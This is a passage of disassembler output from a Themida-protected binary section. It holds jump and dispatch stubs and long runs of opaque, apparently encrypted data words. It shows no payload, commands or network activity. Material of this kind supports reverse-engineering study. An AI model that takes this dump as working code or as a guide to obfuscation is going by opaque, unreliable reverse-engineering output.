; ---------------------------------------------------------------------------


loc_5809EA:				; CODE XREF: Themida_:00580452j
		mov	eax, 61354E6h
		add	eax, ebp


loc_5809F1:				; CODE XREF: Themida_:loc_58044Dj
		mov	ecx, eax
		jmp	loc_580B3B
; ---------------------------------------------------------------------------
		dd 543B7E8Ah, 0DA95ECE7h, 6715893h, 0BEB6CFDFh,	365D54FDh
		dd 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h, 0C1AEC441h
		dd 5277CB50h, 9CACAC32h, 6C46BF00h, 7390ADFCh, 0D6A33659h
		dd 9C72E275h, 0DD0090BDh, 9B8CE693h, 64A592A7h,	92A7ABDDh
		dd 7A918F97h, 0B9F95CFCh, 9BB1E496h, 9F47E4B5h,	0B6E592B6h
		dd 9EBDF694h, 96B3EBB5h, 9C93D0ECh, 7B97BF99h, 89F55CFDh
		dd 0EDAFF493h, 0E3B2CD00h, 0D4E594A6h, 5700C3B5h, 0F3622D44h
		dd 38AE29B0h, 3C000000h, 40000000h, 2 dup(0)
		dd 4000000h, 94000000h,	5000000h, 1000000h, 28000000h
		dd 200000Ah, 22h dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_580B3B:				; CODE XREF: Themida_:005809F3j
		jmp	loc_582C43
; ---------------------------------------------------------------------------
		push	61358EAh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6135A16h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6135AA2h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6135B8Ch
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6135C5Fh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6135D2Eh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6135E05h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6135EA5h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	613629Dh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61362FFh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	613649Ah
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61367C0h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6136B4Ch
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6136F8Bh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6137100h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6137162h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61371B0h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	613722Ah
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61373B6h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61374A8h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	613767Ch
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		align 4
		dd 0EF952498h, 0D07504B8h, 0EF942397h, 0CD7FF6B2h, 0D02C1A8Eh
		dd 0FBAFEEA2h, 0D488C97Ch, 0F266A145h, 0D387BC63h, 9D25E4D8h
		dd 796BDF2Bh, 7932B07Ch, 7CE75B4Eh, 23FF6DCCh, 8B34533Fh
		dd 767DE256h, 34628B65h, 216C2327h, 0A01D7F4h, 67FC5021h
		dd 54EE9DC3h, 7B943C50h, 0AD79E4DAh, 6BC7B774h,	0EA289A91h
		dd 50CC943Ch, 0F7AB877Bh, 3CEA16B0h, 49822794h,	4D883E5Dh
		dd 4E8F4259h, 656B0A99h, 6660FFB4h, 0EA319178h,	50D5943Ch
		dd 13B158AEh, 54294DA3h, 7A75824Bh, 316239h, 5CA80000h
		dd 5D4C1EBDh, 67FC7C74h, 0F5C49692h, 5611552h, 0D76F36E8h
		dd 36943C7Ch, 0FAE4E67Dh, 3C7CB30Fh, 2D75394h, 7B35B4FDh
		dd 0CC9439h, 32F60000h,	0DE504479h, 906DA65Bh, 2EE221C3h
		dd 0C7BBF097h, 66E217D0h, 0E324C594h, 0E61D06h,	12B96DCCh
		dd 31DA61DDh, 80BF0306h, 0DB579233h, 1FB60BF7h,	0FAE7A2BCh
		dd 1C9803F6h, 0A0378C40h, 0C96A213Bh, 4D9E1559h, 2AE1FFD1h
		dd 9E114998h, 0B5CBA07Ch, 29438226h, 0CFC3FAB2h, 0C614B4Ah
		dd 6A86DEE2h, 9E52C98Dh, 0AD77FA5Fh, 4B5B4038h,	1E335Ah
		dd 63A64800h, 81B870E7h, 5E974ECDh, 7BB86BEAh, 559438BFh
		dd 6597F3D9h, 51C884C3h, 6CEB5FA0h, 38BF7BB6h, 0EBDE5A8Fh
		dd 24A81A11h, 4F4C6BDFh, 3F7E32C5h, 1E530C8Bh, 9BDC8D4Ch
		dd 2C9695E7h, 0C86DCC7Ch, 0EB73886Ch, 2459DC11h, 428C2206h
		dd 0A3C18128h, 49256DCCh, 0BD5C9834h, 745D4C1Eh, 9267FC7Ch
		dd 3BBEA96h, 14943C7Ch,	4A41356Ch, 0E019D0A2h, 60143034h
		dd 0FBDF764Dh, 3C7CB210h, 0FAD65294h, 0FCA43709h, 14BAD1C5h
		dd 2D492DD9h, 7CEA5853h, 0E0A943Ch, 0FCB6A39h, 7E5B964Ch
		dd 7B363879h, 0BC1839h,	93260000h, 65C1B5EEh, 96D7BC88h
		dd 2534902Bh, 951E3B52h, 0CECDB9EEh, 2DD21Ah, 28DD382Eh
		dd 0F211584Ch, 0CD6DCC35h, 4C0FE116h, 0B77F5C95h, 9E528740h
		dd 4719C251h, 0B693CE74h, 3BFAE7A2h, 401C67FCh,	3BA0378Ch
		dd 93D86A21h, 0D73C9E0Ah, 0BF66DE63h, 0B1969A86h, 907B57F7h
		dd 9E11B632h, 567A56D2h, 0D413B584h, 508B3FFAh,	62D9C37Bh
		dd 0F231D3AFh, 8E42F9CEh, 771EA4Fh, 55414038h, 1D0744h
		dd 276A1C00h, 457C24B3h, 225B1289h, 3F7C2FA6h, 19580C8Bh
		dd 295BA7A5h, 5944887h,	30A72364h, 0C8B3F7Ah, 0BFAA1E53h
		dd 2674CEBDh, 13906BDFh, 3F7E3289h, 1E530C8Bh, 79321CAAh
		dd 92395044h, 6C3DE15Dh, 738D4E65h, 0FC202BB8h,	0D44FCB67h
		dd 91379723h, 9843D251h, 7D92C3C6h, 952C5A9Dh, 0E38FB3F4h
		dd 0FAD4070Eh, 0AD6EC10Fh, 0CBA58150h, 0A6225710h, 266105D4h
		dd 5AE1F67Ah, 0F52AE1B1h, 0D3F96CD1h, 0E1B582A4h, 1C7BF8h
		dd 9BDE9000h, 0B9F0981Fh, 96CF7605h, 0B3F09322h, 8DCC80F7h
		dd 3DAFDBD1h, 9904C8Bh,	24B32768h, 1087437Eh, 0C3A62257h
		dd 2670D2B9h, 17946BDFh, 0A979328Dh, 5DD9CD02h,	0A1388D79h
		dd 0EC69203Ah, 867FC12h, 968F33F6h, 0B679423h, 1E302CEEh
		dd 96F94940h, 411D9423h, 0C106B22Ch, 64DECDB3h,	80942396h
		dd 9F36C7A4h, 4D3C223Ch, 942396F5h, 20381511h, 13CAF869h
		dd 8A3DFC9Eh, 8B42594Dh, 9EC29E52h, 5C488327h, 88FF03D8h
		dd 0DBFAA6E3h, 3D39ED26h, 0D17A3D19h, 56C21CEEh, 6D7F5C7Bh
		dd 1B2A9893h, 4ECA41E2h, 0F3A46779h, 8B4BD277h,	70EE38Fh
		dd 0C10FFAD4h, 8141E264h, 522C610Ah, 0C264EB57h, 330F0B4Dh
		dd 0ABE9A219h, 7DFEC661h, 1E0DDFD5h, 4DC251A4h,	4C00E440h
		dd 7CE116CDh, 93EBE097h, 91FEE7BFh, 0A600001Bh,	8E0DC104h
		dd 0AC2B9FD6h, 7900BCF5h, 962599D6h, 11F7B3F2h,	0A6E587F5h
		dd 0C102A332h, 9DD88E0Dh, 0BCF19A21h, 78330D00h, 6BDF27CAh
		dd 32E7AD2Ah, 63504479h, 0B6758754h, 67FC0A99h,	0B0E38853h
		dd 238D49F9h, 95B1AD94h, 0F266C2B8h, 50679046h,	42EA718Bh
		dd 0F40AEE0Bh, 8DA31F0Ah, 0F1439423h, 238D883Ah, 0D4F06C94h
		dd 0D1970CF7h, 3D2F9E13h, 13B1F44Eh, 120B109Eh,	685C412Bh
		dd 0BCFFEC08h, 0E26FA310h, 0A556D1F5h, 7BBB9F4Fh, 0B7EE9625h
		dd 1EB443A2h, 0AF6330FCh, 0BF91B5D4h, 0CA509BCCh, 5B472330h
		dd 728C4F66h, 0DA1D79B7h, 431D1936h, 1E9ACF78h,	97CA7D3Ch
		dd 0D98C2E94h, 866AC626h, 0FAC1969Ah, 0C0AF1C51h, 6CF8F03Dh
		dd 1ABE2FB8h, 33D30000h, 7BD3CF0h, 28DD5CD0h, 7BC3BEFh
		dd 0E5870ECAh, 0C83432A6h, 3B7F69Ah, 1C90D174h,	0FAAEE99Dh
		dd 1B8FC47Bh, 0E55D4C30h, 16BDF20h, 793218A4h, 55542A44h
		dd 6DCC7CEDh, 7C9E24E7h, 0FA766DCCh, 55512602h,	68825960h
		dd 0FC1B04C1h, 0EB9EC067h, 94239D57h, 110544E8h, 0EC015D15h
		dd 0DA7E3A36h, 1BC057D8h, 0C1D94A41h, 5DB9E13h,	13C1BC06h
		dd 8F41589Eh, 0A3577450h, 0A9300CC7h, 5BD7CB04h, 0C07857Eh
		dd 93229B55h, 0D3BFF8ADh, 0B259734Fh, 916118FDh, 0CF9AD89h
		dd 77AC53EDh, 815F815Bh, 408F388Ah, 6B80DC9Dh, 70C570C0h
		dd 3A141097h, 0F34F3A24h, 1387B0C4h, 0D2794217h, 0F19A219Dh
		dd 75760FBCh, 0DEB65999h, 19EFF5h, 1F620400h, 3D742CABh
		dd 1A53FA81h, 3774179Eh, 1150F483h, 2153AF9Dh, 0FD7C306Fh
		dd 0C84F0B4Ch, 0E473E722h, 5752063Bh, 211CA665h, 0FBF86BDFh
		dd 44793231h, 87546350h, 1255B675h, 9A3167FCh, 0C09AB6F7h
		dd 671B54F9h, 0E7ADE0Bh, 0EF8075E1h, 0F3B864DAh, 0F20CCFE6h
		dd 1393AA37h, 55D04C9Eh, 833F527Bh, 0BBA0D58Eh,	0BD7CE5E4h
		dd 3E22CE09h, 73058229h, 0FCBF62DAh, 1C180C45h,	0CE179E3Fh
		dd 0DA7567DBh, 5F087F0Dh, 502A462Ah, 0EA190459h, 0DAC6A207h
		dd 0BD536B60h, 7AA1EE00h, 0E2F9005Dh, 8F33F608h, 6737C9A7h
		dd 0A7AC1615h, 0EC4837C9h, 1E0DF308h, 3DF9EDD6h, 0CB77324Ch
		dd 2B3E39DDh, 0C681A2Fh, 8BC067F2h, 6A9F48CFh, 106C3EFDh
		dd 118292E0h, 1918h, 7E3A7D2Dh,	9E1A51F7h, 85397217h, 981451F6h
		dd 7C306F21h, 4C00728Eh, 27CA510Dh, 3FE372E6h, 1AD14804h
		dd 7A8669E5h, 0DF22338Fh, 4ED6D36Bh, 50447932h,	75875463h
		dd 7C22A08Bh, 66C26DCCh, 76BC6F91h, 0E67FBD2h, 0CA813812h
		dd 9992BB95h, 44852832h, 49421B17h, 0D7FBAA34h,	929420DFh
		dd 61D85487h, 6CB975AAh, 0A2BC8E4Dh, 0DE75CDBCh, 0FA919420h
		dd 0B671B52h, 0D91912E7h, 7D9E1770h, 540CCFA1h,	0D578431Dh
		dd 6784E094h, 89C068EFh, 1045FE9Dh, 3C81EEABh, 454E4640h
		dd 1878h, 1E9ADD8Dh, 0FEBAF197h, 2599D277h, 0F8B4F196h
		dd 1C90CF81h, 0ECA0D22Eh, 7AA31ADh, 0DF8312C6h,	0FAB128A4h
		dd 1A2609C5h, 0DF22D36Fh, 0EEB6336Bh, 4C1EBD5Ch, 0FBD2955Dh
		dd 1B353167h, 30A9E7A0h, 0E10523C3h, 5EC3775Bh,	0BB6E805Bh
		dd 94201813h, 0D4836FEBh, 9420186Bh, 9F5AF98Ah,	397EC64Eh
		dd 792Eh, 0E4895000h, 204CF6B5h, 0CCA89420h, 6378FCA8h
		dd 1AC15CC9h, 7CE54940h, 0CEFF6DCCh, 0DD9860BFh, 0AC6E8B85h
		dd 0F9C09EB0h, 0B671B54h, 0CC94A61Ch, 0F911096Dh, 3B782142h
		dd 7C2BDE43h, 4C611834h, 4535328h, 6DCCA5BAh, 6E8B2A59h
		dd 336A50A3h, 40E0DA13h, 8911DB7Fh, 1CFC74h, 24E0000h
		dd 6DCC7C45h, 14E6F504h, 0FC0D6815h, 0AE2A0667h, 2D489FCCh
		dd 0E18E830Fh, 0BD5C400Ch, 0A7324C1Eh, 0F7B4C902h, 67FC0652h
		dd 72CCB8B4h, 8A259D8Ch, 0EC9F9423h, 94238A56h,	5EBAB2AEh
		dd 0E419D289h
		dd 0C29E4F0Ah, 421ED20Bh, 0D9EE721Eh, 0F82DD665h, 0B111F8E6h
		dd 2094238Ah, 0B52C2427h, 77F3AB62h, 8325A462h,	0ACC807A9h
		dd 0F42BE1F8h, 0ABE48900h, 44DBC4F7h, 67FEA578h, 2FDA05BEh
		dd 9423A893h, 5FDBF773h, 5042FD8h, 9423A8BDh, 0DF9DD59h
		dd 0A0BA21B8h, 13D880E9h, 2EAA869Eh, 0D7CB00A7h, 49605190h
		dd 1EB50E06h, 0E7A07017h, 4A367517h, 1A160AE6h,	4CF38236h
		dd 6D89C87Ch, 3A6D22B9h, 6560F34Fh, 883AF116h, 6C166560h
		dd 402400F0h, 0ED6C4254h, 0A147FE39h, 9DBAB66Ah, 5BE67FEh
		dd 883BFED0h, 31A82E4Bh, 6451457Ah, 0B5748655h,	1C550144h
		dd 3924622h, 5C7B275Ch,	1BC68A9h, 692203A2h, 4A017834h
		dd 86123B15h, 5BC8D5F3h, 361C2E93h, 8878DC11h, 0B73EB373h
		dd 0A5344A24h, 56DAC601h, 0A7C98A81h, 918D1264h, 0B0E59E1Dh
		dd 8E6A1B9Eh, 0CAB69ADBh, 33DF14CBh, 4836132Fh,	44E4A521h
		dd 6E059E72h, 6FEB20C7h, 0F50742E8h, 0E4A2200Bh, 0E6423244h
		dd 0D2761511h, 19AADF93h, 0CC07BB7Ah, 0AAE58910h, 0EF2CDFF6h
		dd 0C23BF0DDh, 7E6BE220h, 6A1EBD69h, 0E99DDC90h, 0B0BD698Dh
		dd 0CB1FA73Ch, 6A229928h, 9E553F33h, 0BDE6B907h, 104BFF26h
		dd 2E691D9Ch, 1316E842h, 3244F0AFh, 988CCD80h, 9792E49Ch
		dd 3244F02Bh, 56734FCBh, 11EBF007h, 748AB11Ah, 7D95538h
		dd 0A9608B34h, 34B4FE19h, 284521FDh, 3ED56C76h,	0A41853F7h
		dd 4D396E15h, 0B460954Eh, 42DC4D7h, 2A54265Bh, 0B4FDC37Fh
		dd 32472334h, 0B520F1ACh, 6A00D9F2h, 4A000000h,	206104D7h
		dd 60DBF074h, 0A9836FAAh, 2B407D32h, 5F053BDAh,	623EFD1Fh
		dd 0FFE39A79h, 0B92209E3h, 2B67FC3Eh, 0D4C0F9B0h, 9A13AF5Ah
		dd 77F39423h, 388A815Bh, 0DC94239Ah, 0BBB76B80h, 76CCBFA1h
		dd 8E94239Ah, 1F01B592h, 9BD27A41h, 269C8BE7h, 0BE94239Ah
		dd 21A18862h, 0C594239Ah, 54D59469h, 0DB000000h, 5A6FAA60h
		dd 417C32D2h, 82596055h, 2F939668h, 0C76DCC7Ch,	0ADC8AE62h
		dd 5E82B7DEh, 77897789h, 0CC9C0EB4h, 7DC5C46Dh,	996DCC9Ch
		dd 7489E59Dh, 0FCFFFAB7h, 6517A67h, 0B17B59B4h,	7B1208E5h
		dd 9D998DC6h, 0B09FABB0h, 60848BD8h, 0DA19CB8Eh, 0D7B339FDh
		dd 7A265B04h, 703DE1F6h, 51F64A69h, 0F34F3A14h,	136DCC7Ch
		dd 9A213B17h, 68CCB8F5h, 25BE6D93h, 0C167FC20h,	8939E265h
		dd 0D089F4CFh, 55ED9C49h, 0B168F0B9h, 52F09BB5h, 0B268F0B9h
		dd 8BC09AB6h, 38ECEBE1h, 0AD18D4F9h, 1271F4Ch, 4E6B1A2Ch
		dd 0F3A46779h, 8B62C0ADh, 70EE38Fh, 0C10FFAD4h,	8198D09Eh
		dd 5710CBA5h, 0AAD4A622h, 0D01243FFh, 792CA394h, 0CE84C38h
		dd 86BB64EFh, 0F9A30EE1h, 192824Ah, 1480h, 0F6B2F595h
		dd 1692C97Fh, 0FDB1EA9Fh, 0D08CC97Eh, 0F468A749h, 0B4588AF6h
		dd 8F42B975h, 0A75BDA4Eh, 0C269F06Ch, 0E2DED18Dh, 0DF1E9B27h
		dd 961E7B6Bh, 0CC7D4002h, 0EBF0076Dh, 0D0291A11h, 51CD9803h
		dd 0CB06BC7Fh, 0A7E2880Fh, 0AC5F81FBh, 9423B016h, 0DE5572EEh
		dd 624BF025h, 124A0A02h, 141E9102h, 93330000h, 0A75DDC50h
		dd 883DBC70h, 0A75CDB4Fh, 0C567EE6Ah, 0A8D4D286h, 0E357963Ah
		dd 0BC70B154h, 0DA4E893Dh, 0BB6FA45Bh, 853DECD0h, 616BDF1Eh
		dd 0BD5CB884h, 645D4C1Eh, 8267FC2Fh, 8F97D4A6h,	6C81C415h
		dd 7EBB70E7h, 0A7B98E92h, 1B356C14h, 0B9FC4645h, 1C189423h
		dd 0C3AFE89Dh, 0EAD48A5Fh, 0B9AD1514h, 64279423h, 9423B9DEh
		dd 4B423A36h, 69835F94h, 23B900C2h, 7388E494h, 1D0940E8h
		dd 0F44E3D23h, 109423B9h, 0F34F3A14h, 139423B9h, 0D2794217h
		dd 0B95EE4A7h, 0BAB69423h, 630F44FBh, 0F709E3FFh, 23B98E34h
		dd 15146694h, 9423B9ADh, 0F409ED49h, 0B2F19332h, 0E625C7BEh
		dd 0A73E5D3Ah, 9258CD10h, 0DCF8E770h, 0F938D76Ah, 0FCA01C53h
		dd 34A733C4h, 0AAE89F1Ah, 37279E38h, 2C412522h,	3D742CABh
		dd 10A52249h, 364D9423h, 0B7EE969Fh, 95CC7403h,	124700BBh
		dd 39E5025Eh, 9CAE2DCCh, 34181FAFh, 7B50560Ch, 20CA665h
		dd 23089E14h, 98171048h, 6BD7D271h, 8B9E10F8h, 0BD8FB38Fh
		dd 9C1045FEh, 4531661Dh, 8D7C6970h, 9E10F835h, 0F846FCAFh
		dd 0C29E9E10h, 58724ECAh, 0F6D34586h, 3EC8838Ch, 54294D88h
		dd 27DA7E57h, 0C29C9894h, 0C98050F7h, 2A77AB90h, 839DDDE4h
		dd 0B36CEB5Fh, 0EA063DE3h, 0B12AC936h, 808CC19Fh, 4389DBEEh
		dd 0A41E0DDFh, 408004C7h, 2B1C07E4h, 918A34BEh,	7FB2D45Ch
		dd 637831E8h, 99FBBA9Fh, 6F36F95Ch, 67CFE653h, 0B363545Dh
		dd 128322h, 0B3F69800h,	91C880F7h, 0AEE79E1Dh, 8BC87BFAh
		dd 65A448CFh, 558703E9h, 41B874B3h, 5CDB4F90h, 68EF6BA6h
		dd 0DBCE8ABFh, 18982AE1h, 1F7C6BDFh, 7C590295h,	40E66DCCh
		dd 0DDFC4905h, 683DECFEh, 0F667FBD1h, 34D9607Ah, 0D7A93FFBh
		dd 4DD10696h, 5C4FDE23h, 6DCC54E6h, 293E22FEh, 0EAF99B76h
		dd 97500B30h, 60E38562h, 0DD000001h, 54BA0803h,	0F193924Ch
		dd 0AA62BEB2h, 5C1399AEh, 0D78F1DC2h, 0CC7C6BD4h, 34DA616Dh
		dd 5470A55Eh, 498629A0h, 0D0FDD95Dh, 59288CDh, 0B68A5FE4h
		dd 4D7F8BEh, 0F470245Dh, 0D72B01D7h, 0A3225F04h, 17ACC102h
		dd 0C35CAE74h, 0BA128E1Ch, 8D1BC05Ch, 2BF69E2Eh, 0B366B22h
		dd 32h,	1CC35C81h, 5B04D78Eh, 0E79BD88Bh, 9782678Bh, 70F2C85Bh
		dd 8487596Eh, 6DCCF83Bh, 0D7D157D3h, 5D04D7F5h,	0D58C4724h
		dd 8A420E9Ch, 3440h, 0C35C8C00h, 0D4D78E1Ch, 6DCC7C6Bh
		dd 3A731AA1h, 4006EA46h, 265B04D7h, 0FFE1F67Ah,	4796D72Dh
		dd 0AFEC10A3h, 31D86378h, 2EE5E6F8h, 0CCB2955h,	42ECB895h
		dd 222BF68Ah, 450B366Bh, 81000000h, 0CC80C05Ch,	0DB1ACE8Dh
		dd 0A9D731F7h, 7C6ED4D7h, 0AA866DCCh, 7C69D6CDh, 6A636DCCh
		dd 38F02DD1h, 0F11DDC01h, 0F8742643h, 71B253E6h, 2016AC5Fh
		dd 72EE6DCCh, 0F5D7CF55h, 75437A32h, 4A408A42h,	8C000000h
		dd 9625C05Ch, 66CAB6EFh, 0CC7C03BFh, 9A91E36Dh,	6DCC7C28h
		dd 507450CCh, 6BD4D7CAh, 0A16DCC7Ch, 0F5D7E7B5h, 75437A32h
		dd 4002A9D7h, 0A46DCC7Ch, 7C6BD7D2h, 8F8B6DCCh,	50F299B3h
		dd 0B46DCC7Ch, 5428A3B8h, 0C7A4E385h, 0FE8140FDh, 5C8CFFFFh
		dd 5D4C1EBDh, 67FBD295h, 0F64C3F31h, 0E9420D6h,	0D6D56D1Ch
		dd 35319420h, 0A01B3511h, 24F6B2E7h, 0C9C0F195h, 9420D679h
		dd 0C8A5C19Dh, 2739A235h, 20D6DE64h, 45443694h,	9420D6FDh
		dd 4D391D19h, 20D6BA1Eh, 8EC57B94h, 142E3E2h, 0DE750615h
		dd 0D37201F2h, 7E7FBB16h, 3B9B39h, 2F10000h, 6DCC7C44h
		dd 41FD32D9h, 0CC7C3D8Ah, 0A39D3C6Dh, 498629FFh, 0A437492Dh
		dd 0D0A8C5FCh, 0A1772BAEh, 60C4B0EFh, 2FBC6784h, 0B767FC20h
		dd 761AA1BBh, 2B9C2237h, 0F3h, 1EBD5CA1h, 5A7324Ch, 9FAB1C6h
		dd 0ED67FC19h, 266E5F71h, 1E162D8Ch, 904B2D4Ah,	0A0CD9FDAh
		dd 436BEEE8h, 0FFD01096h, 0ADA3B783h, 0AB2AB4C9h, 0FBC8BCF7h
		dd 13EDFFDCh, 1A3D39DAh, 512B7631h, 23CAE85Ah, 3B100C94h
		dd 14649A50h, 1C2E2A9Eh, 97D47742h, 0E97287EBh,	6C4E0A45h
		dd 528F0D7Fh, 0E2F7E46Dh, 8584B559h, 9E10513Dh,	0C705DD9h
		dd 0CBBA4FCEh, 0CAB4C6AAh, 108963DFh, 0D2A7839Eh, 3D8DFD4h
		dd 3EAB42E9h, 0D63B9427h, 0F49DF3B6h, 728C68B9h, 160A41E7h
		dd 0B28ECD7Fh, 0C39DC395h, 6B1752F8h, 5EA22007h, 0CA7B8005h
		dd 0C09D9989h, 0A3174CF3h, 91366B14h, 5E2CEC3Ch, 5DB720F4h
		dd 7200000Fh, 3AC17DC0h, 58DF5B92h, 35C478B1h, 62D95592h
		dd 0CDBB6FAEh, 62A143B1h, 7DBE6FE6h, 59943AC1h,	78AD56E5h
		dd 34F7C9C4h, 6BDF1B8Eh, 32C38966h, 0DE504479h,	0B76BA85Bh
		dd 0BB019CB2h, 547025F8h, 0CE03BC77h, 0BF566522h, 2498CD76h
		dd 0DD65243Ah, 396DCC02h, 9657203Dh, 76336AABh,	6Bh, 0E11ED188h
		dd 4D7400Ch, 0B94C2160h, 0D1AFC11Ah, 0CC7C68DAh, 0BB908C6Dh
		dd 10B1E6A5h, 0DB4D67FCh, 23979230h, 0DAF67294h, 4CE2CB00h
		dd 4F4D1571h, 6FA2FD8h,	3A514D2Ah, 59E05C91h, 0ECCE74B2h
		dd 769FEA89h, 94B805Ah,	7C2D5645h, 976C1A2Fh, 1CA66580h
		dd 0F89423B2h, 0A95D4F7Ch, 0D7148D02h, 0D92AE1FBh, 0BD9E1367h
		dd 0D75FED61h, 6B32F496h, 0F262ACF5h, 0A4D26199h, 4DF3B28Eh
		dd 0F1066A16h, 0CF8BC26Ah, 0AA1813EDh, 4A6DCCBAh, 8A42F9CEh
		dd 0AC27953h, 6108F6D3h, 6DCCBAFAh, 0F266A145h,	7B55868Dh
		dd 0FB17CC90h, 7D2C5267h, 94210CC5h, 72284521h,	0B055E4F6h
		dd 0F625C377h, 30EB221Bh, 140FBh, 0C25C5100h, 0D4D78F1Dh
		dd 6DCC7C6Bh, 209BB5A1h, 43422E6Bh, 0B5B1659Eh,	0D7F0BC91h
		dd 0AF771AF5h, 8E1CC35Ch, 0C05CBA12h, 9E2E8D1Bh, 6B222BF6h
		dd 2D0B36h, 5C810000h, 0D78E1CC3h, 0CC7C6BD4h, 21A7836Dh
		dd 7F32A9D7h, 0F9CE523Eh, 427B3233h, 0D78A4274h, 7C4002A9h
		dd 0C8A46DCCh, 4E36B3h,	0D7860000h, 71255C04h, 4F1504ECh
		dd 381C3C4Ch, 0B039C223h, 0CCB849F9h, 95B1AD6Dh, 1C4700BBh
		dd 0CCB8D56Dh, 1135316Dh, 0D4D7703Ch, 6DCC7C6Bh, 76CCBFA1h
		dd 8E6DCC7Ch, 611556F7h, 1C0FE105h, 6DCC7CA6h, 38FEE23Eh
		dd 7B32F5D7h, 8A427442h, 6B222BF6h, 420B36h, 5C810000h
		dd 90C980C0h, 0D66480E4h, 4002A9D7h, 826DCC7Ch,	0CC7C3B87h
		dd 8F7FDB6Dh, 0E7A2B693h, 6DCC7C5Eh, 9A6A21B8h,	0EC98BCF1h
		dd 0C7926C88h, 383CE823h, 0F5D78923h, 75437A32h, 40408A42h
		dd 8C000000h, 8D1BC05Ch, 265B04D7h, 2F512F51h, 0CC7CC67Ch
		dd 25421E6Dh, 0CC7CC17Eh, 8D1B3B6Dh, 4D7F5D7h, 8D46235Eh
		dd 0A95297D7h, 6AEC709h, 0F87C285Dh, 0F8E6F8DCh, 0CC5EB111h
		dd 4D9556Dh, 408A4228h,	0FFFFFEB7h, 1EBD5C8Ch, 0D2955D4Ch
		dd 0F10F67FBh, 20D6883Ah, 39F06C94h, 7B7F5C93h,	0BAB3CD9Fh
		dd 6CFFA060h, 54DFFCC7h, 9D636DABh, 0B7AC2FCh, 96D195Ah
		dd 7BBA6EEDh, 0B5C7AB87h, 5C487D26h, 0BA4EA5CFh, 886CECF4h
		dd 8396EB73h, 0D9CD0ABDh, 7967795Dh, 92370BC2h,	0ADC9AD59h
		dd 0A3607DF9h, 9420091Fh, 7F617BF7h, 2009368Ch,	7552CE94h
		dd 0E2C9B789h, 94200960h, 0D8D3A884h, 94200974h, 0A441E093h
		dd 397EB549h, 1029h, 4402A300h,	0D96DCC7Ch, 0C841FD32h
		dd 0BFh, 5E04D734h, 0D6F36F23h,	19D07087h, 143034E0h, 5B24F3Ah
		dd 0D85467FCh, 548F3306h, 72AD61D8h, 0F52AE158h, 56482501h
		dd 0BF914A69h, 142512CCh, 9CAEAA9Eh, 1C2E691Dh,	25AF2E2Fh
		dd 0DD028Bh, 30D56436h,	0D88C0BF7h, 0E8A3BD99h,	9E10375Ah
		dd 0D2895EBAh, 0C035E11Ch, 0E1C8A239h, 9427804Ah, 6BEE005Ch
		dd 63BE4B4h, 728C6EEAh,	4800BB7h, 5A6FEB80h, 2FEC2AE1h
		dd 8C352CEEh, 0BAF7AC2Bh, 0E1866AC6h, 5E2D60E6h, 0D1E9FAAAh
		dd 0E600000Bh, 0CE4D0144h, 0EC6BDF16h, 0B940FC35h, 0D665D916h
		dd 5137F332h, 0E625C735h, 142E372h, 0DD18CE4Dh,	0FC31DA61h
		dd 0B8734D40h, 6BDF170Ah, 3227EDEAh, 0AF2A4479h, 0DEA0BDFEh
		dd 0BC7040E7h, 5987597Dh, 0CC7C10B2h, 6378F46Dh, 3ED5E6A3h
		dd 0C78050F7h, 20FAAE92h, 0CBB7F899h, 448D9267h, 0B4336B2Ah
		dd 59508125h, 923384E9h, 4135110Dh, 83C266E5h, 550266h
		dd 0D7480000h, 71255C04h, 6E85D8F5h, 0B98936Dh,	0AB67FC1Dh
		dd 0C24B99A6h, 98504D71h, 95B1B561h, 1DC6C5B1h,	3EE574E8h
		dd 0BE64F709h, 0C2249E8Dh, 64C09423h, 0EF9A9480h, 9423C253h
		dd 0BE9BB7B3h, 0F7E4F3C0h, 63D2FBE5h, 1324F4C2h, 9B682338h
		dd 7B9E1391h, 0D79D2B9Fh, 75216004h, 8A76AF56h,	26ADCAA6h
		dd 0D493477Eh, 6DCC7C77h, 73E722C8h, 0FAD4070Eh, 0FBD1460Fh
		dd 4A240067h, 0C502A534h, 0BB7855D1h, 7B11CD06h, 0EB221BF6h
		dd 1F5FB30h, 36050000h,	0A983588Dh, 8F1DC25Ch, 7C6BD4D7h
		dd 0B5A16DCCh, 2A9D7E7h, 6DCC7C40h, 2DFABFA4h, 0BE14A261h
		dd 0CDB3C5A2h, 0DC37E9A0h, 3D39ED24h, 0A8BCBC10h, 771AF9D3h
		dd 1696D7AFh, 0E7443D21h, 19A24318h, 4D700C6h, 0E09E195Fh
		dd 8F30D5C1h, 5BFD96B3h, 4085372h, 0A3B857A4h, 2A9D709h
		dd 6DCC7C40h, 38EC2BDDh, 13E8443Ch, 37DA6672h, 4A260AF6h
		dd 2A9D77Ch, 6DCC7C40h,	24B3C8A4h, 222BF694h, 4E0B366Bh
		dd 81000000h, 4002A9D7h, 0A46DCC7Ch, 0C952B3C8h, 0D0754416h
		dd 0D7EAC297h, 3F7E32A9h, 451EC653h, 0DB418935h, 9C29E2F7h
		dd 586DCC27h, 3BF31C73h, 27DE69E3h, 5F5D2EEh, 0F5D7A329h
		dd 0C94D96D7h, 0F4F47406h, 6CA55CD7h, 408A42DEh, 86h, 1CC35C8Ch
